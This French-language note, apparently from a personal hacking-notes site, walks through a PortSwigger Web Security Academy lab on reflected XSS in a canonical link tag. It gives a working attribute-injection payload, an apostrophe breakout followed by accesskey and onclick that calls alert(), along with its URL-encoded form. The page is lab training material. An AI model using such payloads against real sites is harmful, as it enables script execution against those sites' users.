> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/xss/reflected-xss-in-canonical-link-tag.md).
# XSS réfléchi dans la balise canonique
Notes sur le XSS réfléchi dans la balise canonique pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.
### XSS réfléchi dans la balise de lien canonique
`canonique` balise qui reflète dans son `href` la valeur fournie dans l’URL (les `<` et `>` chevrons sont échappés). / Objectif : injecter un code exécutable **attribut** qui appelle `alert()` sur la page d’accueil.
* Le code source montre qu’il y a une `canonique` balise qui prend `href` à partir de ce qui est placé dans l’URL.
* Vous pouvez en sortir avec une apostrophe : `' piratage` => `%27piratage`.
```javascript
' piratage
%27piratage
```
* `accesskey` peut être utilisé pour appuyer sur une touche afin de déclencher l’action : `'accesskey='x' onclick='alert(0)`.
```javascript
'accesskey='x'onclick='alert(0)
/?%27accesskey=%27x%27onclick=%27alert(0)
```
Action indiquée :
```javascript
ALT + X
```
---
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